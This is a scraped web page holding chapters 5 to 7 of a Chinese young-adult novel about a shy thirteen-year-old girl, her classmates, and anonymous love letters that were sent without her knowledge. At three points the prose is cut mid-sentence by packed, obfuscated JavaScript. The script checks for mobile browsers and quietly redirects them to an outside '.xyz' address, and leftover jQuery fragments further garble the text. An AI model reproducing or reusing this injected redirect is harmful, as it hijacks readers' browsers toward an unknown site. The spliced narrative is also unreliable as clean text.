在楼紫巷的一个拐角处,她快速躲进去,又迅速出现,正面堵上一直跟在自己身后的时序。 “我……”少年有些不好意思地挠挠脑袋,不知该怎么解释。 不过少女好像也没有想听他解释的意思,而是声音又冷了几分:“以后别再跟着我了。” 时序一急,只能耍无赖:“这条巷子又不是你家开的,你走得,我就走不得?” “随便你。”甄好说完径自转身继续朝巷子深处走去。 她的冷漠让时序想说的话只能硬生生吞回去。 看着甄好连背影都透着拒人于千里之外的样子,他轻叹一声,最后还是不怕死地抬脚跟了上去。 最近学校附近经常有社会青年出现,不安全,他不放心她一个人晚上去那么偏僻的地方。 他刚跟了几步,前方不远处的少女再度停下脚步。 她没有转身,但时序知道她是在对自己说话:“不觉得你很多管闲事吗?” “是啊,我就是多管闲事,怎么了?”时序梗着脖子说道。 十三岁的少年,脸上稚气未脱,一本正经的模样却像个小大人。 “无聊。”见沟通无果,甄好决定不再理会身后之人,再不快点她就要迟到了。 时序也不介意她的冷淡,依旧不远不近地跟着她。 天色越来越暗,巷子也越来越深。 自从一起吃完那个桃子,他们之间便多了两年的空白期。 小学一年级开学那天,他看到许久未见的甄好高兴得不得了,谁知她再也不是他记忆中那个怯生生却爱笑的小女孩。 她总是一个人玩,不爱笑也不爱说话。如果不是他脸皮厚一直缠着她,恐怕她看都不会看他一眼。 起初,时序是觉得好奇。他想不明白短短两年的时间怎么会让一个小女孩变化如此之大。带着这个疑问,他不断地靠近甄好。 喜欢一个人,往往从好奇开始。 而年少无知时,不懂好奇是喜欢的征兆。 五岁那年,他好奇甄好怎么那么执着于跟邹小胖那些讨厌的男生一起玩;七岁这年,他好奇甄好怎么跟谁都不想一起玩…… 这一好奇,就是八年。 甄好没有变回活泼开朗的样子,反而一天比一天沉默。 他不知道这些年来她都经历了什么,从前那个怕黑怕鬼的小女孩如今竟敢一个人走这样偏僻的夜路了。 时间一直往前走,少年们除去个子长高了,连心事也变多了。 时序却不仅心事变多了,还苦恼自己为什么不长高。 准确来说,他是苦恼自己的个子什么时候能超过甄好。 比同龄女孩长得矮,真的是一件很尴尬的事。 他是无意间发现甄好下了晚自习还会去一趟楼紫巷的,除了想知道她去干什么,更重要的是担心她的安全,这才被误会成“跟踪”。 他恍神之际,甄好的身影已经变成一个小点。 他忙快步追了上去。 这晚,甄好没能按时去到自己想去的地方。 在途经最后一个巷口时,有三五个社会青年堵在了那里。 有男有女,手里都夹着一明一灭的烟。 小巷路灯昏暗,她甚至看不清对方的脸。 她想装作若无其事地走过去,然而越靠近他们她的心跳得越快。 最近学校关于社会青年不好的传说一个接一个,她再怎么装冷静都只是一个十三岁的小女孩,更何况是在夜里面对这么多个“不良青年”,那种强烈的压迫感让她不禁仅仅掐住自己的掌心。 就在她硬着头皮决定加快速度冲过巷口时,有个人出声叫住了她:“小妹妹,这么晚去哪儿呀?” 说话的人染着一头黄毛,语气不算凶,但有些轻佻,所以还是狠狠震慑住了本就心里打鼓的甄好。 因为害怕,她好半天都没说话。 “小妹妹怎么不说话?”黄毛又开口。 “是啊,得哥跟你说话呢。”另一个留着厚刘海,打了三个耳洞的女生说道。 “宛妹,别吓坏人小妹妹了。”黄毛猛地吸了一口烟,语气不轻不重。 甄好心一沉。 那个黄毛竟然就是大家经常提起的不好惹的得哥…… “我……我去楼紫巷1010号。”甄好强压下紧张感,如实说道。 “哦,去秋先生那里啊。”得哥嗤笑道,“那老头家有什么好玩的?跟我们一起玩啊。” 这时,时序已经跟了上来,见是得哥,自然而然地跟他勾肩搭背:“是什么风把得哥给吹来了?” “你小子怎么也在这里?”得哥见到是时序,脸上更加堆满了笑。 “邻居家一个妹妹,这不,太晚了,我送送她。”时序看了一眼甄好。 “原来是护花使者啊,明白,明白。”得哥扔掉已经抽完的烟蒂,用脚尖碾了碾,才又继续说,“既然这位小妹妹是时老兄的妹妹,那也就是我得哥的妹妹,以后哥罩着你们。” 听着他们的对话,甄好心里生出一种厌恶的感觉。 二〇〇五年好像刮起了一阵“认哥哥认妹妹”的风潮,好像没有一两个“哥哥妹妹”就落伍了似的。 可甄好不喜欢这股风气。 她没兴趣再听他们说了什么,径直继续朝前走去。 “你这邻家妹妹,还挺酷。”得哥朝甄好离去的方向抬了抬下巴,“时老兄,追得很辛苦吧?” 时序只是干笑了两声,没有承认也不否认。 等应付完得哥,他已经彻底跟丢了甄好。 楼紫巷说大不大说小不小,想在这里盲找人并不是一件容易的事。 另一边,楼紫巷1010号。 甄好看着一片漆黑的房屋,知晓秋先生应当是等久了,觉得自己不会来所以先走了。 他们有言在先,倘若超过十点钟她未能到达此处,那便是被学习或者其他事情耽搁了。 在不少同学都已经拥有彩屏手机的初中一年级,甄好只有一部省吃俭用了一个星期才能买得起的MP3,价值八十元。 这就是小镇来的小孩和城里小孩的区别之一。 甄好看着早就没电的白色MP3,又看了一眼门窗紧闭的屋舍,转身往来时路走去。 月光洒下,丹桂飘香,她的身影被拉得长长的,也细细的。 就像她无人托举的人生,飘摇又脆弱。 甄好一步一步走得飞快,她只想快点回到有光亮的地方。 拐过几个转角后,她又遇到了人。 看清两人是谁后,她一向冷淡的脸难得出现一丝笑意。 “好好,可算找到你了。”周淳芮快步走近她。 跟在周淳芮身后的鄢云书站在原地没动,也没说话。 她们是甄好从小学玩到现在的好朋友,三人性格迥异,却又意外投缘。 周淳芮性格活泼开朗,爱笑爱折腾,在人群里是小太阳般的存在。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552276|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鄢云书属于清冷文静的女生,她的父亲是教师,对她的要求极其严格,是以从小就品学兼优。 至于甄好……她也说不清自己是什么性格。 “是不是不当我们是朋友了?”周淳芮一张小嘴停不下来,“你说你都偷偷跑多少回了?最近外面不太平你不知道吗?” “好好,芮芮说得对。”鄢云书终于开口说了第一句话。 “知道了,下次一定叫你们陪我。”甄好无奈道。 她常常觉得,朋友是上天赐给她的最好的礼物,是她想珍藏一辈子的珍宝。 “走吧,回寝室吃我新买的零食!”周淳芮一边揽住一个,笑嘻嘻道。 三个女生结伴走出楼紫巷,在巷口左转或右转都是热闹的街道,不过她们没有时间逛街了,因为女生宿舍的门禁不等人。 “好好、云云,快跑呀!”周淳芮拉着两人奔跑在夜里的英东街上。 风肆意地吹过少女们的耳畔,像青春里那些又酸又甜的心事散落在秋日里。 回到寝室后,三人默契地拿出那部白色MP3。 得来不易的东西总是让人更加知道珍惜,电量没有完全耗尽她们都舍不得充电。 “好巧啊,都没电了。”甄好微微笑了笑,让道,“芮芮、云云,你们先充。我去洗漱。” “好啊,等我的充满了就帮你的充!”周淳芮大方地接受。 寝室的插座不多,目前空闲的只有两个。 就读安南三中却需要住宿的学生都是从各个偏远乡镇来的,她们三个都来自闽镇,寝室其他五人的家乡分布在闽市的各个小镇。 总结一句话就是,她们寝室八个人都来自小地方。 甄好赶在熄灯前十分钟洗漱完毕,室友们也都早就上床躺着了。 只是这晚的气氛好像有些怪异,不过她也没多想。 “好好,我先躲被窝里看小说啦,你记得收MP3。”周淳芮从上铺探出脑袋来交代道。 甄好点点头:“知道了。” 她拔掉MP3的充电器,又从枕头底下摸出一本带密码锁的笔记本,而后轻手轻脚地摸进卫生间。 她们的寝室位于二楼,卫生间的窗户正好有一盏路灯洒下光亮,即使熄灯了也能勉强看清字。 甄好每日熄灯前喜欢在这偷来的光下,书写心里那些轻飘飘又沉甸甸的潮湿心事。 好像只有这一刻才是真正属于她的时间,只有日记本上那些世界才是她所能够控制的,她很喜欢这种感觉,并且日渐上瘾。 她每次都只会写几行字,写完就出去了,自然得像是上了一个厕所,因此没人发现她的这个小小习惯。 包括周淳芮和鄢云书。 她抚摸着笔记本上的密码装置,不可抑制地又想起了爷爷。 在她读小学三年级的时候,爷爷给了她一把小锁,锁上的钥匙小巧精致。 爷爷告诉她:“小孩子也需要自己的空间,这把小锁是爷爷送你的秘密花园。你要自己保管好,知道吗?” 小小年纪的她不懂爷爷这句话背后是对一个孩子最大的尊重,只是新奇地接过锁,并用力地点头:“我知道了,爷爷。” 爷爷…… 甄好鼻子一酸,眼泪差点掉下来。 她深呼吸一口气,等情绪稍微缓了缓,才开门走了出去。 寝室已经熄灯了,不过大家好像开起了卧谈会。 她听见八卦精周淳芮同学神秘兮兮地说道:“哎,你们知道吗?听说师杭与和那谁谈恋爱了。” 闻言,甄好心一沉。 5. 她总是不好意思 今日天气晴,心情雨。 683同学看我的眼神像下了雪。 ——《甄好日记》 师杭与。 那个经常出现在她日记本里的男生,谈恋爱了? 甄好微微垂下眼睑,努力压下心中的苦涩,不准备参与她们的话题。 她睡周淳芮下铺,掀开被子就能进被窝,很方便。 但她不喜欢有人不换睡衣就坐在自己的床铺上,直接说出来显得矫情且不近人情,不利于寝室和谐,她只好退而求其次,将用旧的床单对折再对折,然后铺在床边。 如此一来,别人可以随便坐,睡觉前她再把床单收起来叠好就行。 麻烦是麻烦了些,可很大程度地治好了她那不算严重的洁癖。 甄好刚躺下,姚明娜就点了她的名:“好好,你怎么不说话呀?” 她们几个人你一言我一语的,把班里有那个苗头的男女同学都分析了个遍,却始终不见甄好发言,再加上那个传闻,姚明娜这才忍不住主动开口询问。 “嗯?说什么?”她们说的,甄好都听到了,可她实在没有心情插嘴。 “看来你真的不知道这事啊。”姚明娜若有所思。 “什么事啊?”周淳芮觉得不可思议,跟甄好有关的,竟然还有她不知道的。 “就是……”姚明娜小心翼翼地说道,“班里好些女生都说好好……” “吵什么吵?不知道熄灯了吗?还想不想睡觉了?”姚明娜的话被宿管阿姨粗暴地打断,“都给我赶快睡觉!再说话就给我起来罚站,今晚别睡了!” 宿管阿姨的嗓门一向大,在这黑暗里一吼更加震慑人心,整个寝室顿时静悄悄的,谁都不敢再说一句话。 周淳芮却心痒难耐,这晚她要是不能听到姚明娜后面要说的话,她一定会睡不着的。 等宿管阿姨的脚步声渐渐远去后,她“咝咝”了两声:“娜娜,你快告诉我是怎么回事,好好到底怎么了?” 她用的是气声,在安静的环境里能够听得清清楚楚。 “明天再说吧,等下宿管阿姨又杀回来了。”姚明娜向来是个胆小的,说完这句便再也不肯开口。 周淳芮感觉自己浑身像有蚂蚁在爬,难受得紧。她郁闷地翻了个身,前一秒还觉得自己晚上肯定要失眠,下一秒就传来了她均匀的呼吸声。 性格大大咧咧的人,入睡往往都快。 真正失眠的人是睡在她下铺的甄好。 明明寝室里有月光洒进来,甄好却觉得黑暗正在一寸一寸包裹住自己,叫她有些动弹不得。 她盯着头顶上的床板,听着室友们或轻或重的呼吸声,心里烦躁的因子一浪高过一浪。 除了师杭与谈恋爱这件事,她也很想知道姚明娜没说完的话到底是什么。 这种抓心挠肝的感觉很磨人,她很不喜欢这种失控的感觉,更不喜欢情绪掌握在他人手里的感觉。 她越想越心烦,越心烦就越睡不着。 要不是出不了学校,她真想跑到空旷的小山坳去号两声。 可这也只是她的内心活动。 就算真的身处小山坳,她也不好意思大声叫喊。 她总是怕这怕那,最后什么都不敢做。 她不喜欢这样的自己,可她改变不了。 第二天,甄好顶着两个大大的黑眼圈去教室。 刚起床那会儿,周淳芮还处于游魂状态,没有精力去观察身边人是什么状态。等到了教室,她的瞌睡也醒了大半,这才惊觉甄好的脸色比鬼还难看。 “好好,你昨晚是不是偷鸡去了?”周淳芮一脸惊恐地说道,“你的眼圈……” “闭嘴。”甄好预判了她的预判,在她准备惊呼之际,拿早餐堵住了她的嘴,“多吃点,补脑。” 周淳芮几口咽下鸡蛋后,才后知后觉地问同桌,也就是鄢云书:“云云,好好是不是诓我?不是说以形补形吗,鸡蛋为什么能补脑?要补也应该补蛋啊,可是我没有……” 在她的惊世发言还没落下的前一秒,鄢云书手疾眼快地拿一块饼干再度堵住了她的嘴。 周淳芮三两下嚼完饼干,心思仍在方才那个问题上:“好好想给我补脑应该给我买一碗猪脑花才对。” 鄢云书:“……” 坐她们后面的甄好同情地看了一眼鄢云书,到底还是没忍住起身。 “好好,你去哪里?” 她刚侧身踏出一步,周淳芮就眼尖地发现她的动作。 “去一下厕所。”她想去照镜子看看自己的黑眼圈,但她不好意思说。 甄好除了害怕这害怕那,也总是对很多事情感到不好意思。 “我陪你去吧!”周淳芮说着就要站起来。 甄好阻止了她:“不用,我很快回来,你快吃早餐。” 要是周淳芮跟她一起去,她会更不好意思照镜子。 十三岁的女生,开始注重自己的外貌,甄好也不例外。 她嘴上不说,可听到周淳芮那样说,她还是有点不自在,想知道自己的黑眼圈是不是真的那么严重。 是不是……很丑。 距离上课还有十分钟,所以她走得不算快。 刚走到教室门口,她就遇到了姗姗来迟的时序。 “早啊,好好同学。”时序自然地跟她打招呼。 她只是微微点头:“嗯,早。” 说完,她便径直朝走廊尽头的女生厕所走去。 安南三中初中部共有36个班级,每个年级12个,而甄好所在的班级是初一(11)班,几乎在东边走廊的尽头,这意味着她要穿过十个班级,才能到达西边的女厕。 刚升上初一那天,她就吐槽过这个不合理的设计,不过吐槽归吐槽,该走的路一步也少不了。 早晨的女厕几乎没有人,甄好在洗手池前慢悠悠地洗着手,实际上不着痕迹地打量着镜子中的自己。 少女脸颊还带着一丝婴儿肥,逐渐清晰的下颌线削弱了圆润感。眉间有一颗小痣,让这张稚气未脱的脸显现出几分娇媚来。 甄好轻轻地扯了扯嘴角,唇形很漂亮,就是有些苍白,颊边的小梨涡若隐若现,眼睛也跟着弯成月牙状,饶是有着明显的黑眼圈,也尽显朝气。 头发是暑期才开始留的,刚长过耳下。发质又黑又顺,只是发尾不太听话,翘起几绺。 她不是什么大美女,却长得足够清新。 甄好低头看着自己细瘦的手腕,在宽大的校服袖口下更显得腕骨突出。 个子的迅速抽条让她整个人看起来像弱柳,好看却没什么劲。 甄好收回视线,再次感慨自己为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552277|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不能漂亮一点。 如果她再漂亮一点,也许…… 她脑海中闪过那个少年的脸,却很快又被她甩了出去。 以她的家庭环境,她有什么资格在这个应该读书的年纪里想这些儿女情长呢? 走出去的时候,她迎面碰上了一个人。 她的同桌,喻玲。 “好好?原来你在这里,我还以为你睡过头了。”她在教室的时候没看到甄好。 “要我等你吗?”甄好没有回答她的问题,而是反问道。 “好啊。”喻玲笑得眯起眼睛,“我很快!” 甄好走到一旁的榕树下等着,喻玲又直又长的马尾在空中抛起一个微小的弧度,而后消失在拐角。 她一直很羡慕同桌拥有一头乌黑亮丽又垂顺的长发,不像她的头发弯曲且微翘。 喻玲不仅头□□亮,脸蛋也长得好,是班花的人选之一。 爱美之心人皆有之,喻玲因为长得好看,班里很多女生都喜欢跟她玩,连男生也都对她格外宽容,处处照应。 甄好胡思乱想之际,喻玲出来了。 “走吧,快上课了。”喻玲亲昵地挽着她的手臂往前走去。 甄好却浑身一僵,强忍住抽出手的冲动,硬着头皮快步走着。 她不喜欢跟别人有肢体接触,哪怕是同性也一样。 喻玲并未发觉她的异样,说话仍旧温温柔柔的:“好好,谢谢你等我呀。” 少女身上有着淡淡的馨香,打底的衣服也是柔软的料子,就连脚上踩着的小皮鞋都比别人的精致。 甄好下意识把校服袖子放下来,遮住自己那穿得有些旧了,也有些短了的打底衫。 “没事。”甄好淡淡地应道。 喻玲实在太过美好,整个人看上去干净又温柔,连她都忍不住想要靠近。 她甚至因为自己有这么好看的同桌而感到一丝丝骄傲。 在这一瞬间,她猛然理解为什么班上的同学都愿意为喻玲提供这样那样的便利。 只要喻玲稍微软下语气央求她做点什么,她承认自己也无法抵抗。 “我从家里给你带了零食,是我爸爸从外地带回来的,很好吃。”喻玲分享着自己的喜悦,“偷偷告诉你哦,我还买了最近很火的小说,到时候第一个借你看。” 甄好欲言又止。 说不羡慕是假的。 新出版的小说一本最少也要二十五元,这对于一个星期只有二十元生活费的甄好来说无疑是一笔巨款。 她一个“好”字还没说出口,就被一道高大的身影挡住了去路。 她们是穿过教学楼后巷朝(11)班走去的,因为快要上课了,一路上都没遇到什么人,突然罩下来的阴影吓了甄好一跳。 不过她只是微微后退了一步,并未大叫。 看清面前之人是谁后,喻玲开口时带着一丝娇嗔:“杭与同学,你吓死人啦。” 甄好想起昨晚的寝室夜谈,忍不住抬头看着面前的少年,却在师杭与视线投过来的一瞬间又心虚地挪开。 她不敢直视他。 师杭与的目光像淬了冰,轻飘飘地落在甄好身上,语气也冷冰冰的:“甄好同学,以后不要再做这种无聊的事了。” 他说完把几封信塞进甄好手里,便转身走了。 6. 少年没有冤枉她 今日大雨,心情特大暴雨。 雨伞一把挨着一把,好像在抱怨雨水太冷,又好像在嘲讽人类太可笑。 ——《甄好日记》 “哎,杭与同学,你怎么这么凶呀!”喻玲对着师杭与远去的身影不满地跺脚道。 甄好冲她摇摇头:“算了,我没事。” 虽然她也对手里的这几封信感到莫名其妙,但马上就要上课了,她根本没有时间深究其中到底发生了什么事。 只是刚跟喻玲说完那句话,她的喉咙瞬间就像被什么堵住了,眼睛也迅速变得热热的。 她垂下头,不想让喻玲看到自己狼狈的样子。 不用照镜子她都知道自己此时的眼睛一定红得吓人,也一定很丑。 她好像又回到了小时候,受到委屈不敢反抗,只会红着眼睛,连哭都不敢哭出声。 没等喻玲说什么,甄好便将那几个信封拢进怀里,快步朝教室走去。 她刚走进教室,就又感受到了那种奇怪的氛围。 有几个女生有意无意地把视线投到她身上,目光里带着明显的探究。 跟昨晚在寝室里的感觉一样,那种感觉像扒光了衣服站在人群里,十分不好受。 她们到底在探究什么,她身上到底有什么值得她们探究的? 甄好埋头朝自己的座位走去,刻意不去关注那些探寻的目光。 一到座位上,她就快速将怀里的东西扔进桌洞里。 周淳芮看到她回来了,跟往常一样转身跟她说话:“好好,等下英语要听写,救大命……” 她话说到一半发现甄好的眼睛不对劲:“好好,你眼睛怎么了?” “哦,没事,刚刚进沙子,揉了两下。”甄好极力控制自己声音里的颤抖。 上课铃声拯救了甄好,周淳芮半信半疑地“哦”了一声,便转回身去了。 喻玲伸手轻轻拍了拍她的背,安抚道:“好好,没事的,别管臭男生说什么。” “嗯。”甄好微微挺直背部,不着痕迹地躲开喻玲的手,“上课了。” 第一节是英语课,正如周淳芮所说,老师会先进行听写。 甄好的脑子乱乱的,一个单词都想不起来,听写一塌糊涂。 她的心思全在桌洞里那几封信上。 听写纸收上去后,她做好了课后被罚抄单词的心理准备,也做好了被老师点名批评的心理准备。 接下来的课她也心不在焉,一个字都没听进去。 师杭与为什么那样说? 那些信封里到底写了什么? 同学们又为什么拿那种眼神看她? 一个又一个的问题充斥着甄好的大脑,让她握笔的力道都大了几分。 她迫不及待地想要下课,只有下了课,她才能带着信去厕所里拆开细看。 可她越是盼着下课,时间就过得越慢。 她坐立难安,感觉身上像有虫子在爬,怎么调整坐姿都不舒服。 这种煎熬的感觉让她体内的暴躁因子几乎要破体而出,紧皱的眉头始终没有松开。 喻玲感受到她的躁动不安,便写了张字条推到她手边。 她展开一看,上面写着:“好好,你是不是不舒服呀?” 注意力被稍稍转移后,甄好觉得好受了些。 她给喻玲回道:“我没事,谢谢同桌。” 她的同桌真好,经常给她带好吃的,新小说也总让她第一个看,还这么体贴人。 想到这里,甄好侧头对喻玲露出一个不明显的笑,用口型说道:“我真的没事,认真听讲吧。” 听她这么说,喻玲才放心地点点头:“好,认真听讲。” 英语课一下课,甄好的心就开始狂跳。 她左右观察四周,确定没有人注意自己在做什么后,便重新将信拢进怀里,用校服紧紧捂住。 喻玲将她的动作和神情都收入了眼底,只是她什么都没说。 因为过于紧张,甄好并未发现同桌的视线,她很快起身小跑着朝女厕的方向而去。 连时序喊她的声音都没听到。 看着少女慌慌张张的模样,他有些不放心地喃喃自语:“难道是昨晚被得哥吓到了?” 从早自习前看到甄好开始,他就觉得她整个人怪怪的。 忽然,他的肩膀被人轻轻一拍。 他回过头,师杭与手里转动着篮球,邀请道:“中午吃完饭打一场?” “来啊,打就打。”时序毫不犹豫地答应了。 听说打篮球能长个子,不管能不能,他都要猛猛打,早日超过甄好的身高。 师杭与只比他大了三个月,个子却足足比他高了一大截,已经窜到了一米七五。 一定是他篮球打得还不够,于是他大言不惭道:“杭与,以后打篮球都算上我,就是天上下刀子也阻止不了我去篮球场的脚步。” “没问题。”师杭与求之不得,“以后不愁没人陪我打篮球了。” 这边少年们在高谈阔论如何三步上篮,那边甄好已经进了女厕的隔间。 生怕信掉进坑里,甄好的动作小心翼翼的,像在对待什么珍宝。 这是少年亲手塞给她的,哪怕他的眼神像毒蛇一样冷,她也觉得内心有种诡异的雀跃。 起码他主动跟她说话了,还看了她好几眼。 拆第一封信的时候,甄好的心脏怦怦直跳,连动作都慢了几分,信纸甚至险些从她手中滑落。 等信纸完全展开后,甄好猛地瞪大眼睛,紧跟着手忍不住发起抖来。 她不敢置信地扫过纸上的每一个字—— 你像四月的风,轻轻拂过我心间,温暖又安心。 你站在走廊的背影,像一株小白杨,任凭外面风大雨大,我都挪不开望向你的目光。 你认真听讲的侧脸,微风吹起窗帘一角,一丝光亮落在你手边,连课桌都变得可爱起来。 你在篮球场上起跳的身姿,七彩的阳光刚好架起一座彩虹桥落在你白色的校服上,你一定不会知道有个女孩在偷偷注视着你。 ………… 甄好的手抖得越来越厉害,嘴唇早已被她咬出一丝血腥味来,可她浑然不觉,很快又拆开第二封信—— 少年啊,我总恍惚地以为你只会对我笑,我不愿承认你对每个人都温柔谦逊。 少年啊,我喜欢你发呆的模样,也喜欢你大笑的模样,更喜欢你害羞的模样。 多可惜啊,你不是为我发呆,也不是为我大笑,更不是为了我而害羞。 少年啊,你心里是不是也藏着一个不可言说的女孩,是不是像我一样,为了心上人魂牵梦绕,夜不能寐? 少年啊,我有好多好多话想要对你说,可提笔落下便只剩一句:你能不能多看我一眼? ………… 看到这里,甄好已经红了眼睛。 她紧紧捏住信纸,力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552278|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道大到手指关节都变白。 怀揣着侥幸心理,她打开第三封信—— 你不需要说话,只要一个眼神我就足够高兴一整天。 就像小时候得了心爱的玩具,幸福可以一直延续。 有时候我在想,你是不是我遗失多年的巨大宝藏,在岁月的齿轮中,又将你转回了我身边。 也许这样说有点矫情,可这就是我最真实的想法。 不知道你会不会觉得像我这样主动的女生显得很廉价? 我很在意你的想法,我又害怕知道你的想法,是不是很矛盾? 你们男生应该都喜欢漂亮的女孩子吧,我知道我不够漂亮,但我还是忍不住想要关注你。 我想这就是暗恋者的心态吧。 ………… 暗恋者…… 甄好看得心头一跳。 她不明白事情怎么就变成了这样,她明明…… 她不想恶意地揣度人心,可事实摆在眼前,她想不多想都难。 带着巨大的恐慌,她打开了第四封信—— “把永远爱你写进诗的结尾,你是我唯一想要的了解。” 这是我很喜欢的一句歌词,现在送给你。 我会接着写,一直写,写属于我们的夏天。 对于你,我好像永远有写不完的话,就像你的笑你的背影我怎么都看不腻。 你是不是也有一样的感觉? 我害怕你的答案,又害怕你没有答案。 这样拧巴的我是不是很无趣?你不用回答这个问题,因为我深知自己就是个无趣的人。 木偶扯一扯还能唱一出戏,我却只敢给你写不具名的信。 ………… 第五封信—— 学校里的麻雀好像越来越多了,让我不可避免地想起那句歌词。 “窗外的麻雀在电线杆上多嘴,你说这一句很有夏天的感觉。” 我说我们的相遇也很有夏天的感觉,我在你身上看见了一整个盛夏。 我喜欢这个夏天,更喜欢你。 这些文字是不是特别无病呻吟?甚至有点酸涩。 但我还挺喜欢的,每一句都想读给你听。 ………… 第六封信—— 今天看着你认真听讲的背影,我突然想学画画。 想画下你皱眉的样子,想画下你做题的身影,想画下你转球的模样,想画下你肆意挥洒的青春…… 想让我的素描本都是你,这也是我的青春。 只可惜,我不会画画,只会给你写这些酸溜溜的文字。 我唯一庆幸的是,你好像没有喜欢的女生,你的目光好像只渴望知识。 只要你不属于任何人,我就有机会让你属于我。 这么说好像有点偏激,但我真的是这么想的。 喜欢一个人不就是自私的吗?或者应该称之为占有欲。 夏天会过去,可有些事情不会。 比如我喜欢你这件事。 ………… 甄好苍白着脸看完最后一个字,指尖颤抖得几乎拿不住薄薄的纸张。 这些信真的都是她写的。 每一个字、每一句话都是她的原创,也是她最真实的心境。 师杭与没有冤枉她。 可这些信又都不是她写的。 一声响雷炸在天际,打断甄好混乱的思绪,瓢泼的大雨说下就下。 7. 不想被女生敌视 今日雨后初晴,天上挂起了彩虹桥。 希望我能像天空一样,想哭就哭,想笑就笑,想发脾气就发脾气。 ——《甄好日记》 即使外面雷声轰鸣,大雨如注,甄好也必须硬着头皮奔跑回教室。 下一节是班主任的语文课。 不是因为她怕班主任,恰恰相反,她很喜欢班主任,也很喜欢班主任讲的语文课。 刚跑出两步,兜头而下的大雨就把她淋了个透心凉。 她死死护住怀里那几封让她不知所措的信,一咬牙,以百米冲刺的速度跑向教学楼。 女厕离最西边的初一(1)班其实不远,目测也就一百来米,只要跑到走廊上,她就可以沿着走廊,不用淋雨也能顺利回到教室。 她只顾埋头疾跑,没注意到自己前方来了人,直直地跟对方撞了个满怀。 男生撑着伞站定,一只手抓住她细瘦的胳膊,伞大半都往她那边移:“好好,是我。” 大雨中,时序还没有少女高,微微举高的伞却为她挡去所有风雨。 甄好侧头看见少年,伞下的空间干燥中带着一丝潮气,握着她胳膊的手温暖又温柔,她心里升起一股别样的感觉。 她没说话,只是任由时序打伞护着自己跑向教学楼。 两人一到走廊上,甄好就快速与他拉开距离,并礼貌地道谢:“谢谢你。” 虽说这些年来,时序一直很照顾她,但自从上了初中,她莫名想与他保持距离。 也许是因为青春期作祟,又或许是因为不想被女生敌视。 时序不仅学习好,又打得一手好篮球,还长着一张足以魅惑异性的脸,甄好十分确定他将来只会比现在更受欢迎。 还有一个深层次的她自己都不想承认的原因——她不想让师杭与误会。 时序和师杭与常常同进同出,一起打篮球,一看就关系很好。 如果她跟时序走得太近,万一被师杭与误会了那就不好了。 听见她疏离的话,时序张了张嘴,最后什么也没说。 倒是甄好又再次开口:“那个,时同学,我可不可以拜托你一件事?” 时序闻言眼睛一亮:“好啊,你说。” “你可不可以晚点再回教室?”甄好说完觉得自己有点过分,又马上改口,“或者你先回教室,可以吗?” 怎么说都是因为有他,她才不至于淋成落汤鸡,她如果得寸进尺要求人家故意迟到,那真的□□将仇报了。 但她说完还是不敢多看时序一眼,生怕他追问自己为什么,因为她答不上来。 少年才刚亮起的眼眸又在一瞬间暗了下去,气氛沉默片刻,甄好才终于听见他说:“当然可以了。” 说完,他转身,快步在走廊里冲刺起来。 时序以体育课考50米短跑的时候都从未有过的速度朝(11)班跑去。 他只想快一点,再快一点,为甄好争取不迟到的时间,也为她减轻一些愧疚感。 他听得出来,少女语气中满是不好意思,他不要她因为这件小事而感到内疚。 所以他拼命地跑。 只要他们没有一前一后走进教室,甄好就不会感到不自在。 甄好看着离自己越来越远的身影,觉得自己坏透了。 巨大的撕扯感在她体内冲撞,一头是冷着脸跟她说话的师杭与,另一头是替她撑伞挡去风雨的时序…… 然而饶是她再磨蹭,也必须赶在上课铃声打响之前回到班级,于是她很快也跟在时序身后小跑起来。 好在她赶上了。 一进教室,她就和裴小海的目光相撞。 他嬉笑着看她,同时跟他身边的少年说着什么,她听不清,但直觉与自己有关。 裴小海是师杭与的同桌,两人是同一个地方的,亦是小学同学,关系很是亲厚。 她心虚地攥紧双手,在师杭与抬头的一瞬间深深地埋下头,全程盯着地板回到自己的座位。 就算有时序的伞,刚出女厕那会儿甄好还是被淋湿了一点。 喻玲见她刘海都湿了,拿纸巾要帮她擦拭,却被她挡下:“谢谢,我自己来就可以了。” 甄好看着少女真诚的眼神,欲言又止。 她很想找喻玲问个清楚,可她现在心里很乱,还没想好该怎么开口。 一整个上午的课她都心不在焉的,一直在思考该怎么处理“情书”这件事。 而坐在她前面的周淳芮早就憋坏了,她在第一节英语课上弄清楚了姚明娜昨晚没说完的话到底是什么。知道得越多她越生气,本想下了课就找甄好问清楚情况,谁知甄好一下课就不见了人影,第二节上课还差点迟到,她忍得好辛苦的话根本找不到机会说出口。 没办法,她只能继续忍耐。 甄好没想到的是,连自己最喜欢语文课听起来都变得索然无味。 她偷偷瞥了一眼五人座第一排坐在中间的那个少年。 少年脊背挺得笔直,正认真地听讲,一如她在信里所写的那般。 